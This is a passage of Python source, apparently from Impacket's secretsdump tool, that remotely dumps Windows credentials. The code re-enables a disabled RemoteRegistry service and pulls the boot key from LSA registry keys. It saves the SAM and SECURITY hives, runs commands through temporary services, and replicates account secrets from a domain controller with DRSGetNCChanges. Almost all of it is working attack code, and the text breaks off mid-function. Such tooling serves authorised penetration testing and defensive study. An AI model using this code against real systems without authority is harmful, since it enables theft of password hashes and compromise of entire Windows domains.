1# Copyright (c) 2003-2018 CORE Security Technologies 2# 3# This software is provided under a slightly modified version 4# of the Apache Software License. See the accompanying LICENSE file 5# for more information. 6# 7# Description: Performs various techniques to dump hashes from the 8# remote machine without executing any agent there. 9# For SAM and LSA Secrets (including cached creds) 10# we try to read as much as we can from the registry 11# and then we save the hives in the target system 12# (%SYSTEMROOT%\\Temp dir) and read the rest of the 13# data from there. 14# For NTDS.dit we either: 15# a. Get the domain users list and get its hashes 16# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() 17# call, replicating just the attributes we need. 18# b. Extract NTDS.dit via vssadmin executed with the 19# smbexec approach. 20# It's copied on the temp dir and parsed remotely. 21# 22# The script initiates the services required for its working 23# if they are not available (e.g. Remote Registry, even if it is 24# disabled). After the work is done, things are restored to the 25# original state. 26# 27# Author: 28# Alberto Solino (@agsolino) 29# 30# References: Most of the work done by these guys. I just put all 31# the pieces together, plus some extra magic. 32# 33# https://github.com/gentilkiwi/kekeo/tree/master/dcsync 34# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html 35# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html 36# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html 37# http://www.quarkslab.com/en-blog+read+13 38# https://code.google.com/p/creddump/ 39# http://lab.mediaservice.net/code/cachedump.rb 40# http://insecurety.net/?p=768 41# http://www.beginningtoseethelight.org/ntsecurity/index.htm 42# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf 43# http://www.passcape.com/index.php?section=blog&cmd=details&id=15 44# 45import codecs 46import hashlib 47import logging 48import ntpath 49import os 50import random 51import string 52import time 53from binascii import unhexlify, hexlify 54from collections import OrderedDict 55from datetime import datetime 56from struct import unpack, pack 57 58from impacket import LOG 59from impacket import system_errors 60from impacket import winregistry, ntlm 61from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi 62from impacket.dcerpc.v5.dtypes import NULL 63from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE 64from impacket.dcerpc.v5.dcom import wmi 65from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ 66 VARIANT, VARENUM, DISPATCH_METHOD 67from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ 68 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ 69 IRemUnknown2, INTERFACE 70from impacket.ese import ESENT_DB 71from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ 72from impacket.nt_errors import STATUS_MORE_ENTRIES 73from impacket.structure import Structure 74from impacket.winregistry import hexdump 75from impacket.uuid import string_to_bin 76try: 77 from Crypto.Cipher import DES, ARC4, AES 78 from Crypto.Hash import HMAC, MD4 79except ImportError: 80 LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto") 81 LOG.critical("See http://www.pycrypto.org/") 82 83 84# Structures 85# Taken from http://insecurety.net/?p=768 86class SAM_KEY_DATA(Structure): 87 structure = ( 88 ('Revision','<L=0'), 89 ('Length','<L=0'), 90 ('Salt','16s=""'), 91 ('Key','16s=""'), 92 ('CheckSum','16s=""'), 93 ('Reserved','<Q=0'), 94 ) 95 96# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/CoreSecurity/impacket/issues/326 97# Merci! Makes it way easier than parsing manually. 98class SAM_HASH(Structure): 99 structure = ( 100 ('PekID','<H=0'), 101 ('Revision','<H=0'), 102 ('Hash','16s=""'), 103 ) 104 105class SAM_KEY_DATA_AES(Structure): 106 structure = ( 107 ('Revision','<L=0'), 108 ('Length','<L=0'), 109 ('CheckSumLen','<L=0'), 110 ('DataLen','<L=0'), 111 ('Salt','16s=""'), 112 ('Data',':'), 113 ) 114 115class SAM_HASH_AES(Structure): 116 structure = ( 117 ('PekID','<H=0'), 118 ('Revision','<H=0'), 119 ('DataOffset','<L=0'), 120 ('Salt','16s=""'), 121 ('Hash',':'), 122 ) 123 124class DOMAIN_ACCOUNT_F(Structure): 125 structure = ( 126 ('Revision','<L=0'), 127 ('Unknown','<L=0'), 128 ('CreationTime','<Q=0'), 129 ('DomainModifiedCount','<Q=0'), 130 ('MaxPasswordAge','<Q=0'), 131 ('MinPasswordAge','<Q=0'), 132 ('ForceLogoff','<Q=0'), 133 ('LockoutDuration','<Q=0'), 134 ('LockoutObservationWindow','<Q=0'), 135 ('ModifiedCountAtLastPromotion','<Q=0'), 136 ('NextRid','<L=0'), 137 ('PasswordProperties','<L=0'), 138 ('MinPasswordLength','<H=0'), 139 ('PasswordHistoryLength','<H=0'), 140 ('LockoutThreshold','<H=0'), 141 ('Unknown2','<H=0'), 142 ('ServerState','<L=0'), 143 ('ServerRole','<H=0'), 144 ('UasCompatibilityRequired','<H=0'), 145 ('Unknown3','<Q=0'), 146 ('Key0',':'), 147# Commenting this, not needed and not present on Windows 2000 SP0 148# ('Key1',':', SAM_KEY_DATA), 149# ('Unknown4','<L=0'), 150 ) 151 152# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm 153class USER_ACCOUNT_V(Structure): 154 structure = ( 155 ('Unknown','12s=""'), 156 ('NameOffset','<L=0'), 157 ('NameLength','<L=0'), 158 ('Unknown2','<L=0'), 159 ('FullNameOffset','<L=0'), 160 ('FullNameLength','<L=0'), 161 ('Unknown3','<L=0'), 162 ('CommentOffset','<L=0'), 163 ('CommentLength','<L=0'), 164 ('Unknown3','<L=0'), 165 ('UserCommentOffset','<L=0'), 166 ('UserCommentLength','<L=0'), 167 ('Unknown4','<L=0'), 168 ('Unknown5','12s=""'), 169 ('HomeDirOffset','<L=0'), 170 ('HomeDirLength','<L=0'), 171 ('Unknown6','<L=0'), 172 ('HomeDirConnectOffset','<L=0'), 173 ('HomeDirConnectLength','<L=0'), 174 ('Unknown7','<L=0'), 175 ('ScriptPathOffset','<L=0'), 176 ('ScriptPathLength','<L=0'), 177 ('Unknown8','<L=0'), 178 ('ProfilePathOffset','<L=0'), 179 ('ProfilePathLength','<L=0'), 180 ('Unknown9','<L=0'), 181 ('WorkstationsOffset','<L=0'), 182 ('WorkstationsLength','<L=0'), 183 ('Unknown10','<L=0'), 184 ('HoursAllowedOffset','<L=0'), 185 ('HoursAllowedLength','<L=0'), 186 ('Unknown11','<L=0'), 187 ('Unknown12','12s=""'), 188 ('LMHashOffset','<L=0'), 189 ('LMHashLength','<L=0'), 190 ('Unknown13','<L=0'), 191 ('NTHashOffset','<L=0'), 192 ('NTHashLength','<L=0'), 193 ('Unknown14','<L=0'), 194 ('Unknown15','24s=""'), 195 ('Data',':=""'), 196 ) 197 198class NL_RECORD(Structure): 199 structure = ( 200 ('UserLength','<H=0'), 201 ('DomainNameLength','<H=0'), 202 ('EffectiveNameLength','<H=0'), 203 ('FullNameLength','<H=0'), 204# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265 205 ('LogonScriptName','<H=0'), 206 ('ProfilePathLength','<H=0'), 207 ('HomeDirectoryLength','<H=0'), 208 ('HomeDirectoryDriveLength','<H=0'), 209 ('UserId','<L=0'), 210 ('PrimaryGroupId','<L=0'), 211 ('GroupCount','<L=0'), 212 ('logonDomainNameLength','<H=0'), 213 ('unk0','<H=0'), 214 ('LastWrite','<Q=0'), 215 ('Revision','<L=0'), 216 ('SidCount','<L=0'), 217 ('Flags','<L=0'), 218 ('unk1','<L=0'), 219 ('LogonPackageLength','<L=0'), 220 ('DnsDomainNameLength','<H=0'), 221 ('UPN','<H=0'), 222 # ('MetaData','52s=""'), 223 # ('FullDomainLength','<H=0'), 224 # ('Length2','<H=0'), 225 ('IV','16s=""'), 226 ('CH','16s=""'), 227 ('EncryptedData',':'), 228 ) 229 230 231class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure): 232 structure = ( 233 ('Value','6s'), 234 ) 235 236class SAMR_RPC_SID(Structure): 237 structure = ( 238 ('Revision','<B'), 239 ('SubAuthorityCount','<B'), 240 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY), 241 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'), 242 ('SubAuthority',':'), 243 ) 244 245 def formatCanonical(self): 246 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5])) 247 for i in range(self['SubAuthorityCount']): 248 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0]) 249 return ans 250 251class LSA_SECRET_BLOB(Structure): 252 structure = ( 253 ('Length','<L=0'), 254 ('Unknown','12s=""'), 255 ('_Secret','_-Secret','self["Length"]'), 256 ('Secret',':'), 257 ('Remaining',':'), 258 ) 259 260class LSA_SECRET(Structure): 261 structure = ( 262 ('Version','<L=0'), 263 ('EncKeyID','16s=""'), 264 ('EncAlgorithm','<L=0'), 265 ('Flags','<L=0'), 266 ('EncryptedData',':'), 267 ) 268 269class LSA_SECRET_XP(Structure): 270 structure = ( 271 ('Length','<L=0'), 272 ('Version','<L=0'), 273 ('_Secret','_-Secret', 'self["Length"]'), 274 ('Secret', ':'), 275 ) 276 277# Classes 278class RemoteFile: 279 def __init__(self, smbConnection, fileName): 280 self.__smbConnection = smbConnection 281 self.__fileName = fileName 282 self.__tid = self.__smbConnection.connectTree('ADMIN$') 283 self.__fid = None 284 self.__currentOffset = 0 285 286 def open(self): 287 tries = 0 288 while True: 289 try: 290 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA, 291 shareMode=FILE_SHARE_READ) 292 except Exception, e: 293 if str(e).find('STATUS_SHARING_VIOLATION') >=0: 294 if tries >= 3: 295 raise e 296 # Stuff didn't finish yet.. wait more 297 time.sleep(5) 298 tries += 1 299 pass 300 else: 301 raise e 302 else: 303 break 304 305 def seek(self, offset, whence): 306 # Implement whence, for now it's always from the beginning of the file 307 if whence == 0: 308 self.__currentOffset = offset 309 310 def read(self, bytesToRead): 311 if bytesToRead > 0: 312 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) 313 self.__currentOffset += len(data) 314 return data 315 return '' 316 317 def close(self): 318 if self.__fid is not None: 319 self.__smbConnection.closeFile(self.__tid, self.__fid) 320 self.__smbConnection.deleteFile('ADMIN$', self.__fileName) 321 self.__fid = None 322 323 def tell(self): 324 return self.__currentOffset 325 326 def __str__(self): 327 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) 328 329class RemoteOperations: 330 def __init__(self, smbConnection, doKerberos, kdcHost=None): 331 self.__smbConnection = smbConnection 332 if self.__smbConnection is not None: 333 self.__smbConnection.setTimeout(5*60) 334 self.__serviceName = 'RemoteRegistry' 335 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' 336 self.__rrp = None 337 self.__regHandle = None 338 339 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' 340 self.__samr = None 341 self.__domainHandle = None 342 self.__domainName = None 343 344 self.__drsr = None 345 self.__hDrs = None 346 self.__NtdsDsaObjectGuid = None 347 self.__ppartialAttrSet = None 348 self.__prefixTable = [] 349 self.__doKerberos = doKerberos 350 self.__kdcHost = kdcHost 351 352 self.__bootKey = '' 353 self.__disabled = False 354 self.__shouldStop = False 355 self.__started = False 356 357 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' 358 self.__scmr = None 359 self.__tmpServiceName = None 360 self.__serviceDeleted = False 361 362 self.__batchFile = '%TEMP%\\execute.bat' 363 self.__shell = '%COMSPEC% /Q /c ' 364 self.__output = '%SYSTEMROOT%\\Temp\\__output' 365 self.__answerTMP = '' 366 367 self.__execMethod = 'smbexec' 368 369 def setExecMethod(self, method): 370 self.__execMethod = method 371 372 def __connectSvcCtl(self): 373 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) 374 rpc.set_smb_connection(self.__smbConnection) 375 self.__scmr = rpc.get_dce_rpc() 376 self.__scmr.connect() 377 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 378 379 def __connectWinReg(self): 380 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) 381 rpc.set_smb_connection(self.__smbConnection) 382 self.__rrp = rpc.get_dce_rpc() 383 self.__rrp.connect() 384 self.__rrp.bind(rrp.MSRPC_UUID_RRP) 385 386 def connectSamr(self, domain): 387 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) 388 rpc.set_smb_connection(self.__smbConnection) 389 self.__samr = rpc.get_dce_rpc() 390 self.__samr.connect() 391 self.__samr.bind(samr.MSRPC_UUID_SAMR) 392 resp = samr.hSamrConnect(self.__samr) 393 serverHandle = resp['ServerHandle'] 394 395 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) 396 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) 397 self.__domainHandle = resp['DomainHandle'] 398 self.__domainName = domain 399 400 def __connectDrds(self): 401 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, 402 protocol='ncacn_ip_tcp') 403 rpc = transport.DCERPCTransportFactory(stringBinding) 404 rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) 405 rpc.setRemoteName(self.__smbConnection.getRemoteName()) 406 if hasattr(rpc, 'set_credentials'): 407 # This method exists only for selected protocol sequences. 408 rpc.set_credentials(*(self.__smbConnection.getCredentials())) 409 rpc.set_kerberos(self.__doKerberos, self.__kdcHost) 410 self.__drsr = rpc.get_dce_rpc() 411 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 412 if self.__doKerberos: 413 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 414 self.__drsr.connect() 415 # Uncomment these lines if you want to play some tricks 416 # This will make the dump way slower tho. 417 #self.__drsr.bind(samr.MSRPC_UUID_SAMR) 418 #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI) 419 #self.__drsr.set_max_fragment_size(1) 420 # And Comment this line 421 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) 422 423 if self.__domainName is None: 424 # Get domain name from credentials cached 425 self.__domainName = rpc.get_credentials()[2] 426 427 request = drsuapi.DRSBind() 428 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 429 drs = drsuapi.DRS_EXTENSIONS_INT() 430 drs['cb'] = len(drs) #- 4 431 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ 432 drsuapi.DRS_EXT_STRONG_ENCRYPTION 433 drs['SiteObjGuid'] = drsuapi.NULLGUID 434 drs['Pid'] = 0 435 drs['dwReplEpoch'] = 0 436 drs['dwFlagsExt'] = 0 437 drs['ConfigObjGUID'] = drsuapi.NULLGUID 438 # I'm uber potential (c) Ben 439 drs['dwExtCaps'] = 0xffffffff 440 request['pextClient']['cb'] = len(drs) 441 request['pextClient']['rgb'] = list(str(drs)) 442 resp = self.__drsr.request(request) 443 if LOG.level == logging.DEBUG: 444 LOG.debug('DRSBind() answer') 445 resp.dump() 446 447 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of 448 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. 449 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() 450 451 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. 452 ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * ( 453 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) 454 drsExtensionsInt.fromString(ppextServer) 455 456 if drsExtensionsInt['dwReplEpoch'] != 0: 457 # Different epoch, we have to call DRSBind again 458 if LOG.level == logging.DEBUG: 459 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 460 'dwReplEpoch']) 461 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] 462 request['pextClient']['cb'] = len(drs) 463 request['pextClient']['rgb'] = list(str(drs)) 464 resp = self.__drsr.request(request) 465 466 self.__hDrs = resp['phDrs'] 467 468 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 469 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) 470 if LOG.level == logging.DEBUG: 471 LOG.debug('DRSDomainControllerInfo() answer') 472 resp.dump() 473 474 if resp['pmsgOut']['V2']['cItems'] > 0: 475 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 476 else: 477 LOG.error("Couldn't get DC info for domain %s" % self.__domainName) 478 raise Exception('Fatal, aborting') 479 480 def getDrsr(self): 481 return self.__drsr 482 483 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, 484 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): 485 if self.__drsr is None: 486 self.__connectDrds() 487 488 LOG.debug('Calling DRSCrackNames for %s ' % name) 489 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) 490 return resp 491 492 def DRSGetNCChanges(self, userEntry): 493 if self.__drsr is None: 494 self.__connectDrds() 495 496 LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry) 497 request = drsuapi.DRSGetNCChanges() 498 request['hDrs'] = self.__hDrs 499 request['dwInVersion'] = 8 500 501 request['pmsgIn']['tag'] = 8 502 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid 503 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid 504 505 dsName = drsuapi.DSNAME() 506 dsName['SidLen'] = 0 507 dsName['Guid'] = string_to_bin(userEntry[1:-1]) 508 dsName['Sid'] = '' 509 dsName['NameLen'] = 0 510 dsName['StringName'] = ('\x00') 511 512 dsName['structLen'] = len(dsName.getData()) 513 514 request['pmsgIn']['V8']['pNC'] = dsName 515 516 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 517 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 518 519 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL 520 521 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP 522 request['pmsgIn']['V8']['cMaxObjects'] = 1 523 request['pmsgIn']['V8']['cMaxBytes'] = 0 524 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ 525 if self.__ppartialAttrSet is None: 526 self.__prefixTable = [] 527 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() 528 self.__ppartialAttrSet['dwVersion'] = 1 529 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) 530 for attId in NTDSHashes.ATTRTYP_TO_ATTID.values(): 531 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) 532 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet 533 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) 534 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable 535 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL 536 537 return self.__drsr.request(request) 538 539 def getDomainUsers(self, enumerationContext=0): 540 if self.__samr is None: 541 self.connectSamr(self.getMachineNameAndDomain()[1]) 542 543 try: 544 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, 545 userAccountControl=samr.USER_NORMAL_ACCOUNT | \ 546 samr.USER_WORKSTATION_TRUST_ACCOUNT | \ 547 samr.USER_SERVER_TRUST_ACCOUNT |\ 548 samr.USER_INTERDOMAIN_TRUST_ACCOUNT, 549 enumerationContext=enumerationContext) 550 except DCERPCException, e: 551 if str(e).find('STATUS_MORE_ENTRIES') < 0: 552 raise 553 resp = e.get_packet() 554 return resp 555 556 def ridToSid(self, rid): 557 if self.__samr is None: 558 self.connectSamr(self.getMachineNameAndDomain()[1]) 559 resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid) 560 return resp['Sid'] 561 562 def getMachineNameAndDomain(self): 563 if self.__smbConnection.getServerName() == '': 564 # No serverName.. this is either because we're doing Kerberos 565 # or not receiving that data during the login process. 566 # Let's try getting it through RPC 567 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') 568 rpc.set_smb_connection(self.__smbConnection) 569 dce = rpc.get_dce_rpc() 570 dce.connect() 571 dce.bind(wkst.MSRPC_UUID_WKST) 572 resp = wkst.hNetrWkstaGetInfo(dce, 100) 573 dce.disconnect() 574 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 575 'wki100_langroup'][:-1] 576 else: 577 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() 578 579 def getDefaultLoginAccount(self): 580 try: 581 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') 582 keyHandle = ans['phkResult'] 583 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') 584 username = dataValue[:-1] 585 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') 586 domain = dataValue[:-1] 587 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 588 if len(domain) > 0: 589 return '%s\\%s' % (domain,username) 590 else: 591 return username 592 except: 593 return None 594 595 def getServiceAccount(self, serviceName): 596 try: 597 # Open the service 598 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) 599 serviceHandle = ans['lpServiceHandle'] 600 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) 601 account = resp['lpServiceConfig']['lpServiceStartName'][:-1] 602 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) 603 if account.startswith('.\\'): 604 account = account[2:] 605 return account 606 except Exception, e: 607 # Don't log if history service is not found, that should be normal 608 if serviceName.endswith("_history") is False: 609 LOG.error(e) 610 return None 611 612 def __checkServiceStatus(self): 613 # Open SC Manager 614 ans = scmr.hROpenSCManagerW(self.__scmr) 615 self.__scManagerHandle = ans['lpScHandle'] 616 # Now let's open the service 617 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) 618 self.__serviceHandle = ans['lpServiceHandle'] 619 # Let's check its status 620 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) 621 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 622 LOG.info('Service %s is in stopped state'% self.__serviceName) 623 self.__shouldStop = True 624 self.__started = False 625 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 626 LOG.debug('Service %s is already running'% self.__serviceName) 627 self.__shouldStop = False 628 self.__started = True 629 else: 630 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) 631 632 # Let's check its configuration if service is stopped, maybe it's disabled :s 633 if self.__started is False: 634 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) 635 if ans['lpServiceConfig']['dwStartType'] == 0x4: 636 LOG.info('Service %s is disabled, enabling it'% self.__serviceName) 637 self.__disabled = True 638 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) 639 LOG.info('Starting service %s' % self.__serviceName) 640 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) 641 time.sleep(1) 642 643 def enableRegistry(self): 644 self.__connectSvcCtl() 645 self.__checkServiceStatus() 646 self.__connectWinReg() 647 648 def __restore(self): 649 # First of all stop the service if it was originally stopped 650 if self.__shouldStop is True: 651 LOG.info('Stopping service %s' % self.__serviceName) 652 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) 653 if self.__disabled is True: 654 LOG.info('Restoring the disabled state for service %s' % self.__serviceName) 655 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) 656 if self.__serviceDeleted is False: 657 # Check again the service we created does not exist, starting a new connection 658 # Why?.. Hitting CTRL+C might break the whole existing DCE connection 659 try: 660 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) 661 if hasattr(rpc, 'set_credentials'): 662 # This method exists only for selected protocol sequences. 663 rpc.set_credentials(*self.__smbConnection.getCredentials()) 664 rpc.set_kerberos(self.__doKerberos, self.__kdcHost) 665 self.__scmr = rpc.get_dce_rpc() 666 self.__scmr.connect() 667 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 668 # Open SC Manager 669 ans = scmr.hROpenSCManagerW(self.__scmr) 670 self.__scManagerHandle = ans['lpScHandle'] 671 # Now let's open the service 672 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) 673 service = resp['lpServiceHandle'] 674 scmr.hRDeleteService(self.__scmr, service) 675 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 676 scmr.hRCloseServiceHandle(self.__scmr, service) 677 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) 678 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) 679 rpc.disconnect() 680 except Exception, e: 681 # If service is stopped it'll trigger an exception 682 # If service does not exist it'll trigger an exception 683 # So. we just wanna be sure we delete it, no need to 684 # show this exception message 685 pass 686 687 def finish(self): 688 self.__restore() 689 if self.__rrp is not None: 690 self.__rrp.disconnect() 691 if self.__drsr is not None: 692 self.__drsr.disconnect() 693 if self.__samr is not None: 694 self.__samr.disconnect() 695 if self.__scmr is not None: 696 try: 697 self.__scmr.disconnect() 698 except Exception, e: 699 if str(e).find('STATUS_INVALID_PARAMETER') >=0: 700 pass 701 else: 702 raise 703 704 def getBootKey(self): 705 bootKey = '' 706 ans = rrp.hOpenLocalMachine(self.__rrp) 707 self.__regHandle = ans['phKey'] 708 for key in ['JD','Skew1','GBG','Data']: 709 LOG.debug('Retrieving class info for %s'% key) 710 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) 711 keyHandle = ans['phkResult'] 712 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) 713 bootKey = bootKey + ans['lpClassOut'][:-1] 714 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 715 716 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 717 718 bootKey = unhexlify(bootKey) 719 720 for i in xrange(len(bootKey)): 721 self.__bootKey += bootKey[transforms[i]] 722 723 LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey)) 724 725 return self.__bootKey 726 727 def checkNoLMHashPolicy(self): 728 LOG.debug('Checking NoLMHash Policy') 729 ans = rrp.hOpenLocalMachine(self.__rrp) 730 self.__regHandle = ans['phKey'] 731 732 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') 733 keyHandle = ans['phkResult'] 734 try: 735 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') 736 except: 737 noLMHash = 0 738 739 if noLMHash != 1: 740 LOG.debug('LMHashes are being stored') 741 return False 742 743 LOG.debug('LMHashes are NOT being stored') 744 return True 745 746 def __retrieveHive(self, hiveName): 747 tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' 748 ans = rrp.hOpenLocalMachine(self.__rrp) 749 regHandle = ans['phKey'] 750 try: 751 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) 752 except: 753 raise Exception("Can't open %s hive" % hiveName) 754 keyHandle = ans['phkResult'] 755 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) 756 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 757 rrp.hBaseRegCloseKey(self.__rrp, regHandle) 758 # Now let's open the remote file, so it can be read later 759 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) 760 return remoteFileName 761 762 def saveSAM(self): 763 LOG.debug('Saving remote SAM database') 764 return self.__retrieveHive('SAM') 765 766 def saveSECURITY(self): 767 LOG.debug('Saving remote SECURITY database') 768 return self.__retrieveHive('SECURITY') 769 770 def __smbExec(self, command): 771 self.__serviceDeleted = False 772 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, 773 lpBinaryPathName=command) 774 service = resp['lpServiceHandle'] 775 try: 776 scmr.hRStartServiceW(self.__scmr, service) 777 except: 778 pass 779 scmr.hRDeleteService(self.__scmr, service) 780 self.__serviceDeleted = True 781 scmr.hRCloseServiceHandle(self.__scmr, service) 782 783 def __getInterface(self, interface, resp): 784 # Now let's parse the answer and build an Interface instance 785 objRefType = OBJREF(''.join(resp))['flags'] 786 objRef = None 787 if 